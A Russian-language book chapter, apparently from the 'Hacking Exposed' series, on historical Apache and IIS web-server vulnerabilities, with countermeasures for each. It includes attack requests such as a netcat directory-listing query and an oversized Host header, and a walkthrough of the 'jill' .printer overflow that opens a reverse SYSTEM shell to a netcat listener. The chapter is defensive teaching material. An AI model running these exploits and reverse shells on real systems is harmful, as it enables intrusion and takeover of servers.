Взлом Web-Сервера
Взломщики Web-приложений в первую очередь пытаются воспользоваться "лежащими на поверхности" изъянами системы защиты — изъянами самого Web-сервера. Ни одно, даже самое надежное приложение, вне зависимости от того, насколько проста или сложна его архитектура, не сможет долго оставаться невзломанным, если работает под управлением сервера с серьезным недостатком в системе защиты.
В этой главе предпринята попытка собрать воедино самые опасные изъяны популярного программного обеспечения серверов Web, сведения о которых были опубликованы в последние годы. Следуя установившейся в книгах серии "Секреты хакеров..." традиции, мы вручную выбрали эти примеры, руководствуясь опытом практической работы в качестве консультантов крупных компаний по компьютерной безопасности. В ходе этой работы нам не раз приходилось идентифицировать и исследовать описанные в данной главе изъяны защиты, а также разрабатывать соответствующие контрмеры. Материал главы сгруппирован в разделы по наиболее популярным серверным платформам: Apache, Internet Information Server (IIS) компании Microsoft и Enterprise Server компании Netscape. Кроме того, рассматриваются и такие менее известные платформы, как Lotus Domino, Novell GroupWise, RealServer компании RealNetworks и др. Завершив обсуждения изъянов в системе защиты серверов, ознакомимся с современными программами сканирования безопасности Web-серверов, а в конце главы немного поговорим о взломах путем инициализации состояния "отказ в обслуживании" (DoS — denial of service) и о контрмерах для защиты Web-сервера от взломов такого типа.
Завершая это краткое вступление, предлагаем не относиться ко всему прочитанному слишком серьезно. Если читатели выбрали для своего Web-сервера какое-либо программное обеспечение, упомянутое в данной главе, весьма вероятно, что ваш Web-узел уже был взломан одним из тех вандалов, которые бродят по Internet в поисках очередной жертвы. Ничего страшного — дочитав книгу, вполне возможно все восстановить, не так ли?

Общеизвестные изъяны по наиболее популярным платформам
Предлагается рассматривать приведенные в этом разделе примеры, учитывая, что они достаточно простые, скорее как постановку проблемы, а не как совокупность исчерпывающих решений на все случаи жизни. Потратив немало времени на анализ безопасности программного обеспечения Web-серверов, можно сделать вывод о том, что какая бы платформа не выбиралась, рано или поздно придется столкнуться с тем или иным изъяном в ее системе безопасности. Поэтому можно дать лишь один универсальный совет: изучить все приведенные здесь примеры, настроить свой сервер как можно консервативнее и постоянно обновлять его компоненты по мере выпуска компанией-разработчиком новых версий и модулей обновления.

Apache
Сервер Apache завоевал хорошую репутацию благодаря высоким показателям безопасности и производительности, которые он продемонстрировал на протяжении своей эксплуатации, особенно в последнее время. Так, начиная с версии 1.3, еще не известно ни об одном случае обнаружения способов взлома сервера путем переполнения буфера, приводящего к несанкционированному запуску команд. Подобно серверу 1IS компании Microsoft с его "Ахиллесовой пятой" — дополнительной функциональностью, такой как Web-ориентированная печать или сервер индексирования, использование которого ставит под удар всю систему (подробнее см. в разделе, посвященном IIS), — изъяны в системе безопасности сервера Apache также кроются в его дополнительных компонентах, называемых модулями (module). Разработчики узлов элек тронной коммерции стремятся создавать динамические страницы, привлекающие пользователя не только самыми модными разноцветными "бантиками", но и учитывающие при этом его цветовые предпочтения. Однако для того, чтобы "научить" Apache работать с динамическими страницами, необходимо прибегнуть к использованию дополнительных модулей. Именно через эти модули и проникают в системы злоумышленники. Рассмотрим несколько относительно свежих примеров взлома сервера Apache.

Просмотр каталога в режиме Multiview
Популярность 7
Простота 10
Опасность 6
Степень риска 7,6

Сервер Apache устойчив практически к любым попыткам просмотра содержимого каталога без получения явного на то разрешения, выданного администратором сервера. К сожалению, одна из новых возможностей Apache, названная разработчиками режимом Multiview, привела к снижению стойкости к несанкционированному просмотру каталога (см. опубликованную Кевином (Kevin, brasscannon.net) статью в Bugtraq за июль 2001 года). Взлом можно выполнить как с помощью броузера, так и из командной строки, используя утилиту netcat.

[rohan]$ echo -e "GET /some_directory?M=D HTTP/1.0\n\n" | \
> nc 192.168.42.17 80
<!DOCTYPE HTML PUBLIC "- //W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
<TITLE>Index of /some_directory</TITLE>
</HEAD>
<BODY>
<H1>Index of /some_directory</H1>
<PRE><IMG SRC="/icons/blank.gif" ALT=" "> <AHREF="?N=A">Name</A>
<AHREF="?M=A">Last modified</A> <A HREF="?S=A">Size</A>
<AHREF="?D=A">Description</A>
<HR>
<A HREF="/">Parent Directory</A> 20-0ct-1998 08:58 -
<A HREF="cgi-bin/">cgi-bin/</A> 28-Oct-1998 05:06 -
<A HREF="messages/">messages/</A> 20-0ct-1998 08:58 -
<A HREF="wwwboard.html">wwwboard.html</A> 16-Apr-1998 19:43 1k
<A HREF="passwd.txt">passwd.txt</A> 16-Apr-1998 19:30 1k
<A HREF="data.txt">data.txt</A> 16-Apr-1998 19:29 1k
<A HREF="faq.html">faq.html</A> 16-Apr-1998 19:28 2k
</PRE><HR>
</BODY></HTML>

Полученные результаты были слегка отредактированы, чтобы повысить читабельность текста, но общий смысл от этого не пострадал — с помощью такого нехитрого приема можно просмотреть содержимое основного каталога Apache. В главе 4 еще раз вернемся к этой теме, сконцентрировав внимание на тех файлах, которые представляют особый интерес. Но даже беглого взгляда на полученные результаты вполне достаточно — чего стоит один лишь файл passwd. txt! Этот изъян особенно полезен тем, что позволяет просмотреть полную структуру каталогов и файлов Web-узла.

Контрмеры: просмотр каталога в режиме Multiview
Первой защитной мерой является очистка корневого каталога Web-узла и всех нижележащих каталогов от ненужных файлов. К ненужным файлам относятся файлы паролей, примечания разработчика, старые данные, резервные копии Web-узла, а также любые другие файлы, не предназначенные ни для просмотра в окне броузера пользователем узла, ни для работы выполняющихся на сервере приложений. Можно сказать, что недостатки в защите, приводящие к просмотру содержимого каталогов, опасны только в тех случаях, когда с их помощью можно получить доступ к важным данным.
Режим Multiview включается в разделе Options между дескрипторами <Directory>. По умолчанию он не включен.

Просмотр каталога с использованием длинных URL
Популярность 7
Простота 8
Опасность 6
Степень риска 7

Передача длинных URL через модули mod_negotiate, mod_dir и mod_autoindex может привести к тому, что Apache откроет содержимое каталога. Этот метод взлома был впервые обнародован после того, как Мартин Крамер (Martin Kraemer) в марте 2001 года представил на суд общественности версию 1.3.19 сервера. Концепция взлома достаточно проста, хотя и требует, как правило, проведения нескольких пробных взломов с целью подбора длины вводимой строки. Достаточно ввести URL с длинной последовательностью символов "косая черта", например, /cgi-bin/ / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /, чтобы, при удачном "попадании", получить список файлов, находящихся в исходном каталоге. Конечно, количество символов косой черты, которые нужно ввести, зависит от реализации, но ничего не стоит написать на языке Perl сценарий, автоматизирующий выполнение этой задачи. Необходимо отметить, что большинство серверов Apache вообще не могут обрабатывать URL, длина которых превышает 8000 символов.

Контрмеры: просмотр каталога с использованием длинных URL
Эта ошибка была исправлена уже в версии 1.3.19, однако ее можно решить и путем более тщательной настройки Apache. Модули mod_dir и mod_autoindex входят по умолчанию в комплект поставки сервера. При компиляции нужно просто исключить модули, представляющие содержимое каталога в удобочитаемом виде, из конфигурации сервера. Это ни на что не повлияет, поскольку при корректном подходе к разработке Web-узла у конечного пользователя не должно возникать необходимости в просмотре структуры его каталогов. Таким образом, решение проблемы сводится к простой настройке с помощью сценария конфигурации.

[apache]$ ./configure --disable-module=dir --disable-module=autoindex

Необходимо заметить, что отключение модуля mod_dir приведет к невозможности обслуживания "честных" запросов на просмотр каталога, у которых в конце нет никаких длинных последовательностей косых. Однако, как уже отмечалось, отсутствие такой возможности никак не должно отразиться на работоспособности приложения.

Доступ к файлам через mod_rewrite
Популярность 5
Простота 4
Опасность 9
Степень риска 6

Одним из лучших источников информации по проблемам безопасности приложений является файл, содержащий комментарии разработчика и хронологию внесения изменений. (Источник, используй источник, Люк!) В сентябре 2000 года разработчики Apache, вдохновляемые Тони Финчем (Tony Finch), выпустили "заплатку" для исправления ошибки, позволявшей пользователю получить доступ к любому файлу Web-сервера, даже если он находится за пределами корневого каталога этого сервера. Подлежащий исправлению модуль mod_rewrite часто используется сервером Apache для возвращения страниц на основании значения передаваемого броузером параметра User-agent, информации из cookie-файлов или, среди прочего, URL.
К сожалению, определить извне, когда сервер обращается к модулю mod_rewrite, а также является ли та или иная конфигурация уязвимой, достаточно сложно. Есть лишь один надежный признак — параметр RewriteRule в конфигурации уязвимого сервера ставит в соответствие URL локальной странице, для которой полностью задан путь. Пример правила, обеспечивающего наличие уязвимости:

RewriteRule /more-icons/(.*) /home/httpd/icons/$l

Пример правила без уязвимости:

RewriteRule /more-icons/(.*) /icons/$l

Контрмеры: доступ к файлам через mod_rewrite
Для устранения этого изъяна достаточно правильно записать значение параметра RewriteRule (см. приведенные выше примеры).

Проникновение через mod_auth_*sql
Популярность 6
Простота 7
Опасность 9
Степень риска 7

В августе 2001 года центр RUS-CERT университета Штутгарта выпустил информационный бюллетень, где продемонстрировал, как обойти несколько модулей аутентификации, основанной на SQL. (Адрес, по которому можно ознакомиться с бюллетенем, приведен в конце главы, в разделе "Дополнительная информация".) Суть метода состоит в использовании в запросах ничем, казалось бы, не примечательного символа апострофа ('), что позволяет пользователям создавать специальные команды SQL, самая простая из них обходит механизм аутентификации узла (детальнее — в главе 5).

Контрмеры: проникновение через mod_auth_*sql
Необходимо обновить пакет mod_auth_*sql. После обновления остановить, а затем снова запустить Web-сервер Apache, чтобы внесенные изменения вступили в силу.

Apache httpd 2.0
Что в будущем ждет Apache? Находящиеся в настоящее время на этапе бета-тестирования версии ряда 2.0, по-видимому, скоро будут выпущены разработчиками в "большое плавание". Одним из самых больших изменений, внесенных в ряд 2.0, является поддержка фильтрации или улучшение возможности сцепки нескольких модулей для разбора URL. Учитывая проблемы, которые поразили такие модули, как mod_rewrite, за несколько месяцев разработки нового ряда сервера, можно смело предположить, что в новой иерархии появятся незащищенные модули или ошибки. По крайней мере, две ошибки, позволявшие предпринять DoS-взлом, уже были обнаружены и исправлены в практически готовой к выпуску версии ряда 2.0. Взломы DoS являются примитивными и наиболее распространенными типами взломов, но пользователи Web-серверов хотели бы обезопасить себя всеми возможными способами.

Microsoft Internet Information Server (IIS)
Будучи одной из самых распространенных платформ Web-серверов в Internet, детище Microsoft множество раз подвергалось нападениям в последние годы. В IIS были выявлены такие изъяны, как вскрытие исходного кода путем взлома с использованием строки : : $DATA, утечка информации через примеры сценариев типа showcode.asp, пиггибэкинг привилегированных команд в запросах к внутреннему интерфейсу с базами данных (MDAC/RDS), не говоря уже о простом переполнении буфера (IISHack). Хотя все перечисленные изъяны уже исправлены в текущей версии IIS (на момент написания данной книги— IIS 5), время от времени в сервере обнаруживаются новые. Наиболее серьезные недостатки в системе безопасности IIS как уже выявленные и исправленные, так и еще ждущие своего часа, можно, как правило, отнести к одной из двух групп.

• Взлом отдельных компонентов IIS.
• Взлом самого сервера IIS.

В данном разделе обсуждаются примеры взломов каждой из категорий, а также контрмеры, позволяющие повысить устойчивость IIS к подобным попыткам взлома, которые могут предприниматься в будущем. Подавляющее большинство методов взлома как уже апробированных, так и отрабатываемых в настоящее время, подпадает под первую категорию. Поэтому вряд ли можно кого-либо удивить, сказав, что отключение функциональности, представленной компонентами IIS, позволяет значительно снизить вероятность успеха последующих взломов. Помните об этом, читая материал данного раздела.

Взлом компонентов IIS
В IIS интенсивно используется целый ряд библиотек динамической компоновки (DLL — Dynamic Link Library), которые, работая вместе с основным процессом сервера inetinfо. ехе, обеспечивают последнему поддержку тех или иных возможностей (выполнение сценариев на стороне сервера, индексацию содержимого, основанную на Web печать и т.д.). Чтобы воспользоваться содержащейся в DLL функциональностью, достаточно запросить у 1IS файл с соответствующим разрешением. Например, запрос файла с расширением .printer (независимо от того, существует ли файл на самом деле или нет) приведет к вызову библиотеки DLL, знающей, как обрабатываются запросы на Web-печать.
Такая архитектура, названная разработчиками компании Microsoft Internet Server Application Programming Interface (ISAPI), предоставляет в распоряжение бывалого хакера целые россыпи самой разной функциональности. Для того чтобы добраться к этой функциональности, достаточно создать URL, вызывающий определенный файл, а затем передать умышленно искаженную строку той библиотеке DLL ISAPI, которая будет вызвана данным запросом. Для некоторых серверов, работающих под управлением IIS, результаты применения такого метода взлома оказались просто катастрофическими. Этот пример как нельзя лучше демонстрирует старую, как мир вычислительной техники, мудрость — излишняя сложность чревата снижением безопасности. Иными словами, чем больше функциональных возможностей имеется у выбранного Web-сервера, тем больше риск взлома. Рассмотрим несколько практических примеров взлома функциональности ISAPI.

Переполнения буфера DLL ISAPI
Популярность 10
Простота 9
Опасность 10
Степень риска 10

Одним из самых опасных изъянов библиотек DLL ISAPI является переполнение буфера. В конце 2001 и в начале 2002 годов серверы IIS по всей сети Internet были поражены очередными штаммами червей Code Red и Nimda, принцип работы которых основан на переполнении буфера, направленного против преданных огласке изъянов DLL ISAPI. В апреле 2002 года стало известно еще об одном, хотя и менее опасном изъяне, связанном с переполнением буфера — на сей раз в библиотеке DLL ISAPI, отвечающей за работу с документами, созданными в соответствии с технологией Active Server Pages (ASP). В данном подразделе обсуждается один из примеров использования подобного изъяна.
В мае 2001 года группа eEye Digital Security объявила об обнаружении эффекта переполнения буфера в фильтре ISAPI (С: \WINNT\System32\msw3prt. dll), который обрабатывает файлы .printer. Эта библиотека DLL обеспечивает поддержку протокола печати по Internet (IРР— Internet Printing Protocol). Протокол IРР позволяет осуществлять через Web управление различными аспектами сетевой печати.
Изъян проявляется при заполнении буфера поля Host, которое используется при отправке по протоколу HTTP запроса к ISAPI на открытие файла .printer, примерно 420 байтами информации, как показано в следующем примере (вместо обозначения [buffer] нужно подставить строку длиной около 420 символов).

GET /NULL.printer HTTP/1.0
Host: [buffer]

Этот простой запрос приводит к возникновению эффекта переполнения буфера, что чаще всего становится причиной зависания IIS. Однако, поскольку Windows 2000 после подобной аварийной остановки автоматически перезапускает IIS (процесс inetinfо.ехе), чтобы обеспечить бесперебойность работы Web-служб, подобный взлом для удаленного пользователя никак не проявится (если, конечно, он не генерирует его постоянно, чтобы добиться эффекта отказа в обслуживании). Можно попутно заметить, что хотя средства обеспечения бесперебойности работы служб и позволяют поддержать работоспособность Web-узла при случайных сбоях I1S, с точки зрения безопасности их использование приводит к тому, что администратор узла может даже не подозревать о предпринимающихся попытках взлома.
Много подобных документированных методов взлома, связанных с проблемой обработки файлов . printer, было опубликовано во всех ведущих списках рассылки по безопасности. Од ним из первых было сообщение об утилите взлома, названной ее разработчиком — хакером dark spyrit (beavuh.org), jill. Хотя утилита jill написана на языке С для платформы UNIX, ее достаточно легко портировать на платформу Windows 2000, используя систему Cygwin.
Утилита jill применяет взлом путем переполнения буфера IPP и устанавливает ответный канал связи со взломщиком, позволяя ему получить доступ к командной строке. Запущенный таким образом процесс работает в контексте учетной записи SYSTEM, что дает возможность взломщику получить практически неограниченный доступ к взломанному компьютеру.

Внимание.По умолчанию взломанный Web-узел прекращает работу в тех случаях, когда по каким-то причинам не удается создать ответный канал связи с компьютером злоумышленника, если такой сеанс связи завершается некорректно или в результате возникновения какой-либо другой ошибки. Все попытки запустить Web-сервер с консоли взломанного компьютера будут неудачными. Выйти из этого состояния можно лишь с помощью перезапуска.

Рассмотрим, как работает улита взлома. Для начала запустим утилиту netcat, которая будет ждать соединения на порт 2 0 02 от нашей жертвы.

C:\>nc -vv -1 -р 2002
listening on [any] 2002 ...

Затем запустим jill, чтобы установить связь с портом 2002 нашего компьютера.

C:\>jill 192.168.234.222 80 192.168.234.250 2002
iis5 remote .printer overflow.
dark spyrit <dspyrit@beavuh.org> / beavuh labs.

connecting...
sent...
you may need to send a carriage on your listener if the shell doesn't
appear.
have fun!

Если все прошло нормально, вскоре после запуска утилиты взлома в окне, где работает утилита netcat, появится интерфейс командной строки, обеспечивающий удаленный доступ ко взломанному компьютеру. (Иногда после получения сообщения об установлении соединения, а также после каждого ввода сообщения нужно дополнительно нажать <Enter>). Ниже приведена картина того, что взломщик может увидеть на своем компьютере.

C:\>nc -vv -1 -р 2002
listening on [any] 2002 . . .
connect to [192.168.234.250] from MANDALAY [192.168.234.222] 1117
<Enter>

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>
C:\WINNT\system32>whoami
whoami

<Enter>
NT AUTHORITY\SYSTEM

В данном примере использовалась утилита whoami, входящая в состав пакета Windows 2000 Resource Kit, с целью показать, что установленный сеанс удаленной работы в командной строке выполняется в контексте "всемогущей" системной учетной записи удаленной машины.
Поскольку инициализация взлома выполняется через традиционный канал связи для Web (обычно это порт 80), а также с учетом того, что удаленный доступ к командной оболочке выполняется через ответный канал в исходящем соединении на порт, определенный хакером, этот взлом обычно пропускается фильтрами маршрутизаторов и брандмауэров.
Вскоре после выхода утилиты jill для UNIX/Linux была создана и версия для платформы Win32, названная jill-win32. Хакер CyrusTheGreat, взяв за основу программный код jill, создал собственный вариант утилиты взлома, назвав его iis5hack. Все указанные средства взлома работают по описанному выше принципу, вплоть до того, что могут приводить к таким же последствиям при некорректном завершении сеанса, что и jill.